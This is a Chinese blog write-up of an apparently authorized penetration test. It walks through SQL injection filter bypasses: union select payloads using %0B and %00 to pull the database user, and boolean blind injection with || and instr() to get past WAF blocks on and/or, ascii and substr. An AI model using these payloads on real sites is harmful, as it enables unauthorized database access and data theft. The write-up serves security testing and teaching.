记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过

近日为甲方爸爸挖漏洞,又是遇到奇葩SQL注入的一天。

首先,页面是这个样子滴
记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第1张图片
注意两个蓝色的框

一个小单引号之后,报错了,好样的,sql注入无疑了

在这里插入图片描述
由于是Get型注入,所以一开始想直接用union联合查询

  1. 使用二分法得知,字段数量是9

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第2张图片
2. 使用联合查询,这里被拦住了

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第3张图片
代码君已私奔到月球,这是啥玩意?

一开始以为是最常见的 union select 联合查询黑名单过滤,于是乎使用了大部分的方式都是对这两个单次进行绕过,什么大小写、双拼、编码转换,这里要说的是, /**/ 这种的也会被屏蔽

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第4张图片
而后进行了一系列绕过后,发现并没有什么卵用,采坑经过就不披露了,然后偶然间发现不是屏蔽了union select
记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第5张图片

大师,我悟了,我明白了,这是屏蔽了union select 之后的东西,比如说空格?
竟然%20 + /**/这几种常见的空格替代符不能用,我想到了用 %0b

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第6张图片'+union+select%0B1,2,3,4,5,6,7,8,9;%00 获得字段显示位置

我真是个小机灵鬼,多出来一段,而且字段2 正好对应了

获取用户名
'+union+select%0B1,user(),3,4,5,6,7,8,9;%00

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第7张图片
拿到了用户名,但是又没完全拿到,通过分析,这里限制长度不能在页面上直接修改,那么还有一个简单的方式,分段拿数据

拿从第五位开始,后四位的数据
'+union+select%0B1,mid(user(),5,4),3,4,5,6,7,8,9;%00

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第8张图片

依次类推,就出来了。

又又又是一次注入,这一次是纯正血统的布尔盲注
记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第9张图片
竟然是布尔盲注,那当然是想要用 and / or 进行爆数据

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第10张图片
当我使用 and or 之后,都是403,这是被拦截了

之后我想起了上一次我遇到的宝塔面板拦截
传送门____>>>>>链接: https://blog.csdn.net/weixin_48421613/article/details/115181668.

没错,我使用逻辑运算符,这里面我使用的是 || 因为 **&&**被屏蔽了

条件为真时数据变化
key=1'+||+1='1

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第11张图片

条件为假时数据变化
key=1'+||+1='2

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第12张图片
通过这个特性,可以利用一哈,获取自己想要的数据

第一弹当然是想获取一下用户名长度

key=1'+||+length(user())='14

将之放入到burpsuite的intruder模块进行爆破
由于是单条数据爆破,所以使用Sniper模块
记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第13张图片payload 选择 number模块
记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第14张图片
降低线程,否则会挂掉哈

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第15张图片
通过字段长度判断用户名长度

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第16张图片
当我想获取用户名信息时

key=1'+||+ascii(substr(user(),1,1))='1

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第17张图片
好像是被D盾拦住了

怎么办?只这一条数据并不能说明什么,那么想到了一个猥琐的玩法

key=1'+||+instr(version(),5)='1

这条语句是我更改之后的,目测也很好使,玩法就是版本5 出现在第一位

出现就是真,不出现就是假

一开始想的是

left(str,1)    从左数前一位字符
rigth(str,1)   从右数前一位字符

但是没出来啥东西,但是instr好使,这里面屏蔽了 ascii、substr、mid等等函数

记一次奇葩的sql注入联合查询黑名单绕过与布尔盲注绕过_第18张图片
成功获取到第一位数据库版本为5 ,也算是可以交差了

你可能感兴趣的:(sql,web安全评估,sql,web安全,安全)